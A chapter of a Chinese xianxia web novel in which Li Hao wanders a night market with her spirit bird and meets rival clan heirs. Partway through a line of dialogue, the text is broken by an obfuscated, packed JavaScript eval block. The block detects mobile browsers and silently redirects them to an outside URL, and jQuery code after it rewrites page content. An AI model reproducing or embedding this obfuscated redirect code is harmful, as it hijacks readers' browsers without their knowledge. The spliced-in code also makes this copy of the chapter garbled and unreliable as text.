19.千星坊市鱼龙舞
作品:《宿敌的妻子不能是我的吗》 垂天道府独占中州,地大物博,零零散散的分布着许多坊市,大多是些破境无望的道府弟子们及其家眷,毕竟不是所有人都愿意将一眼望得到头的年岁,花费在缥缈虚无的大道上,春花秋月,人间悲欢,总有些更值得的事情。当然也有远道而来的商客旅人,或歇脚或长留,几百年下来,人群熙攘,热闹非凡。
千星坊,就是其中之一。
李好常去千星坊,一来距离连云山最近,来往可以向邀月山豢养的白鹤群中,借一只白鹤师傅代步,一趟来回只需要一百个灵珠,要是能给白鹤师傅买些合胃口的零嘴,运气好了还能免单,很是方便,她和闻春十天半个月就要去千星坊耍一趟。二来千星坊是历史悠久的大坊市,李好最爱的说书师傅“拭雪先生”就常驻在千星坊最大的茶楼——三月楼里。
说到这拭雪先生,李好可就来话了,三天三夜都讲不完,此人不知年岁,不知姓氏,不知来处,不知长相,面上常带一张素银面具,声似清泉,身若修竹,是三月楼的活招牌。说书在初一和十五,半月一场,场场座无虚席。说者不急不徐,抑扬顿挫间,世家秘闻、大能传说、门派纷争张口就来,听者或笑或叹,至精彩处,掌声雷动。
李好倒是想场场都去,奈何囊中羞涩,大堂靠后的位置,一场茶水费都要足足五百灵珠,她只有实在心痒难耐时才去听一回,什么载生君与空月尊不得不说的故事,金莲台阴盛阳衰的秘密,千花公子到底有几个孩子之类的。
今日十一月初五,据说拭雪先生初一最新的一回是“道子无声堕邪道,其中缘由为哪般”,李好没有去听。
律令不愧为天阶法宝,往常乘坐白鹤师傅要三柱香的路程,律令一只小肥鸟叼着后脖颈,两炷香的时间就到了。李好头上顶着律令,腰上挂着恰逢雨连天,走进人来人往的街道,底气十足,觉得自己现在可以和珠光宝气的金胜昔比一比。
垂天道府不夜禁,李好猜测这也是坊市发展旺盛的缘故之一,此时不过戌时,夜市千灯初上,高楼红袖招摇,宝马雕车香满路,凤萧声动,玉壶光转,一夜鱼龙舞。
李好手拿面果子,一边吃一边问道:“律令大人,你有什么想吃的么?”
“啾!”
“好好好,我就是随口一问,不要啄我脑袋。”
三两口干完,扔掉油纸,李好腾出手摸了摸头,律令尖嘴啄人还是很疼的,但终归是灵体,想要吃东西还是强鸟所难了。
“李逢雨大人有吃过食物么?”李好随口一问,主要是明明两人一鸟在场,却只有自己吃,怪尴尬的。
“不必加敬语,叫我李逢雨就好,至于是否吃过食物,我也忘记了,只觉的如此热闹的场景十分熟悉,像是曾经来过这里。”
“这里是千星坊,你的前主人是个事事追求亲历亲为的大好人,你估计跟着他去过很多地方。”
李好用袖子擦了擦嘴,继续揣手在街道中穿梭,坊市相较于平日里更热闹了,祈春大会虽在明年立春,还有两月时间,可自从去年春日,就有报名者陆陆续续赶来,其中不乏拖家带口之人。她好奇四顾,能明显分辨出不同来处不同身份之人。前方不远处糖蜜糕摊子前站着的几位少年,身穿鹅黄服饰,衣服簇新,举止却有些拘谨,频频望向一旁同色系的中年修士,估计是哪家小家族或小门派的弟子,这些弟子有带队师长领着,常常一同出行。大家族的弟子也有师长带队,但一般不会如此乖巧,买一块糖糕都要求得师长同意,李好摇了摇头,只觉得灯光下那糖糕晶莹流蜜,点缀着干桂花,十分诱人。
她看得眼睛都直了,愉快决定去买几块再垫垫胃。一阵浓郁花香传来,遮盖了满街飘香的桂花味,一个黑衣女子,头戴幕篱,背负弓箭,从人群中匆匆掠过,李好避让不及,险些摔倒。
“欸欸——”
“你没事罢?”
一阵人仰鸟翻,幸亏一旁鹅黄少女伸手扶住了她,李好稳住身形,心中嘟囔了几句,连忙抱拳向鹅黄少女行礼道谢。
“多谢道友出手相助。”
那鹅黄少女腼腆,露出一个笑容来,道:“道友不必客气,举手之劳。”
说完随即躲在了师长身后,四个少年都姿容秀美,笑闹着,你挤我我挤你,一同看向李好,李好对上八只亮晶晶的眼睛,和中年女修一张圆滑的笑脸,那女修扫过李好的衣裳,温和不失恭敬道:
“原来是垂天道府的小道长,失敬了,我等来自东州渠鹤朱氏,与王氏互为姻亲,小道长如此年轻有为。真是令人敬佩。”
四个少年瞪大了眼睛,李好扯了扯袖子上的九重莲,欲哭无泪,早知道换件衣服了,千万不要问她是哪山的弟子,千万不要问。她不想为这点事情说谎,却也不想说自己是杂役弟子,只好硬着头皮道:
“哪里哪里……”
“妙子,过来,和小道长相识一场也算有缘,总要互通个姓名。”
没问,李好送了口气,年长女修招了招手,那名救下李好的少女从她身后低着头磨蹭出来,害羞道:“小道长好,我是朱妙子——”
“——喂,你怎么在这?”
朱妙子的话语被不知从哪儿来的少年声音打断,李好抬头望去,只见金胜昔依旧是今天白日里那身大红斗篷,金光璀璨地向她奔来,眉眼矜骄,身后还跟着七八个身影,一看就不好惹。
虽然很好奇怎么哪儿都能碰见金胜昔,但此时李好还是很感谢有这大宝贝的救场,使她免于陷入一场尴尬的对话之中,她暗自窃喜,大声道:
“我怎么不能在这里,金小公子这话说的,这千星坊又不是你西州金氏开的。”
西州金氏四个字被她念得抑扬顿挫,四周行人纷纷散开,空出一片地来,李好瞥见朱氏年长女修的笑容一僵,急忙道别。
“既然小道长有伙伴相邀,我等就不打扰了,妙子,我们回旅馆罢。”
“请慢——老板,来两斤糖糕。”向糖糕老板吆喝一声,李好转头看向朱妙子,道:“再次感谢妙子道友,这些糖糕送给道友,以表我心,请不要推辞。”说罢,李好从老板手里接过糖糕,递给了朱妙子。
朱妙子看向女修,见她点头才低声道谢收下。
看着一行人匆匆告辞,李好悠悠叹了口气。
“今日怎么这么大火气,我不过是问问而已。”金胜昔嘟囔着,站在李好身边,双手环胸,看向朱氏一行人离开的方向,一脸鄙夷,道:“你怎么认识的朱家人?还给他们送糖糕,朱家可不是什么好东西。”
李好疑惑道:“不小心碰到的,我差点摔倒,朱妙子扶了我一把,怎么了,他们看起来也不像大奸大恶之人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782816|189693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊。”
金胜昔不屑,哼道:“他家靠卖美人起家,近些年来靠着送女儿给王元那个老东西做妾,攀附上了王氏,才渐渐有了些名头,可还是做些见不得人的勾当,两年前给我母亲送了好几个十几岁的男子,哼,真是无耻至极。话说谢复行,他们是不是也给舟不渡送过?”
“倒是有些耳闻,不过没能进舟不渡,被护府阵法给关了两月,最后灰溜溜地逃走了。”一个美少年拥簇着狐毛大氅缓缓走至眼前,长眉秀目,貌若冰雪,他看向李好,笑道:“你好,我们又见面了,我是南州谢氏少主,谢复行,不知可否知道姑娘姓名?”
“——谢妄!走开,我都没来得急问呢。”
金胜昔急忙挤开谢复行,站在了李好面前,一张芙蓉面上满是懊恼,他今日在无字山下本就是准备去问姓名的,被一些杂七杂八的事情打断后,没能想起来,不成想被谢复行这厮抢了先。他咳咳两声,清了清嗓子,扭捏片刻,问道:“你叫什么名字?”
李好:……
“弟子名李好,木子李,女子好。”李好还是选择老老实实地回答,虽然不知道金胜昔问个名字为什么还要分个先后。谢复行在一旁仍笑得温和,一副不与傻子计较的无奈眼神,看得李好莫名共情。
“李,李好。”金胜昔还在扭捏,“这么晚了,你来千星坊做什么?要是有什么我可以帮忙的,尽管讲,不要客气。”
李好道:“我只是来买些吃食,就不麻烦金公子了。”
说完,李好想到了储物手镯里的书籍和灵石,肉疼半晌,继续道:“对了,金公子送我的手镯里残余了些你的私人物品,是书籍和,一箱灵石,还请金公子收回去罢。”
金胜昔皱眉,一双眼带着困惑看向李好,道:“是些学宫功课而已,你大可自己处理掉,至于灵石,是我给你的赔偿,你不要,是嫌少么?”
你也没说明白啊。李好心中一喜,不免在面上流露出来。两人一来一往,一个委屈不解,一个心疼不舍,看得谢复行一阵好笑,身后随从上前,附在他耳边说了什么,听完谢复行对两人道:“好了,李姑娘就收下吧,灵石对金公子而言,不过身外之物,今夜三月楼有个小清谈会,时辰快到了,李姑娘可愿意与我们同行?”
“是宋氏那对双生子举行的,邀请了许多人,大都在仙人五品谱上有名,虽不是什么正式场合,但吃食准备得很齐全,宋氏灵食膳也是很有名的,你不是没吃饭吗,要不要和我们去看看?”金胜昔眼巴巴地看着李好,李好也很是心动,宋氏灵食膳名满天下,她只听过名头,还从未见过,更不要提尝了。离涯君也没说过有宵禁这一回事,回去晚些也不碍事罢?
金胜昔见她思虑良久,想起下午她扛着大包袱独自准备走上无字山,以为她在顾虑夜深不好回去,扬起下巴道:”等下要是夜深,我可以勉为其难,带你去莲生处借住一晚。”
“啾!”
一直窝在李好头上的律令听到有人要抢它的活儿,立马坐不住了,扑腾着翅膀去啄金胜昔。
“哪儿来的破鸟——”金胜昔挥舞着袖子,怒喝出声。
“——大人,您别添乱。”李好哀叹,也不敢大声叫律令的名字,只好上前试图抓住肥鸟,露出腰间被大袖遮掩的恰逢雨连天。
谢复行眼神一凝。

